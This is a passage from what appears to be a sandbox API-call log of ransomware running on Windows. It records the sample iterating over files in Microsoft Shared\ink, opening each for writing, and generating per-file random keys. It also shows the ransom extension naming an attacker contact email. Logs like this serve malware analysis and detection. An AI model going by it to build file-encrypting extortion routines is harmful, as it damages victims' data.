Shared\\ink\\mshwgst.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.787] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0272.787] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=1071616) returned 1 [0272.787] CloseHandle (hObject=0x34c) returned 1 [0272.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll")) returned 0x20 [0272.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.787] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0272.787] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=3584) returned 1 [0272.787] CloseHandle (hObject=0x34c) returned 1 [0272.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui")) returned 0x20 [0272.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.788] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.788] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0272.788] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=3584) returned 1 [0272.788] CloseHandle (hObject=0x34c) returned 1 [0272.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui")) returned 0x20 [0272.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.788] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.788] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.788] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0272.883] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=4096) returned 1 [0272.883] CloseHandle (hObject=0x374) returned 1 [0272.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui")) returned 0x20 [0272.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.883] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0272.883] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=4096) returned 1 [0272.883] CloseHandle (hObject=0x374) returned 1 [0272.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui")) returned 0x20 [0272.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.884] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0272.884] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=3584) returned 1 [0272.884] CloseHandle (hObject=0x374) returned 1 [0272.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui")) returned 0x20 [0272.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.884] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0272.884] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=169984) returned 1 [0272.884] CloseHandle (hObject=0x374) returned 1 [0272.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll")) returned 0x20 [0272.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.885] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0272.885] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=3584) returned 1 [0272.885] CloseHandle (hObject=0x374) returned 1 [0272.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui")) returned 0x20 [0272.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.886] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.016] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=695296) returned 1 [0273.016] CloseHandle (hObject=0x30c) returned 1 [0273.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe")) returned 0x20 [0273.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.016] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.017] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=40448) returned 1 [0273.017] CloseHandle (hObject=0x30c) returned 1 [0273.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll")) returned 0x20 [0273.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.017] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.017] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=448000) returned 1 [0273.017] CloseHandle (hObject=0x30c) returned 1 [0273.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll")) returned 0x20 [0273.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.017] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.224] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=224256) returned 1 [0273.224] CloseHandle (hObject=0x368) returned 1 [0273.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe")) returned 0x20 [0273.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.225] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.225] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.225] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.225] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=544768) returned 1 [0273.225] CloseHandle (hObject=0x368) returned 1 [0273.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll")) returned 0x20 [0273.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.225] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.225] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.225] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.226] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=12288) returned 1 [0273.226] CloseHandle (hObject=0x368) returned 1 [0273.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll")) returned 0x20 [0273.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.226] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.226] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.226] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.226] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=1246720) returned 1 [0273.226] CloseHandle (hObject=0x368) returned 1 [0273.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll")) returned 0x20 [0273.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.229] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.229] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.229] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.229] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=503296) returned 1 [0273.229] CloseHandle (hObject=0x368) returned 1 [0273.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll")) returned 0x20 [0273.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.229] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.229] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.229] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.229] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=101376) returned 1 [0273.229] CloseHandle (hObject=0x368) returned 1 [0273.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll")) returned 0x20 [0273.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft 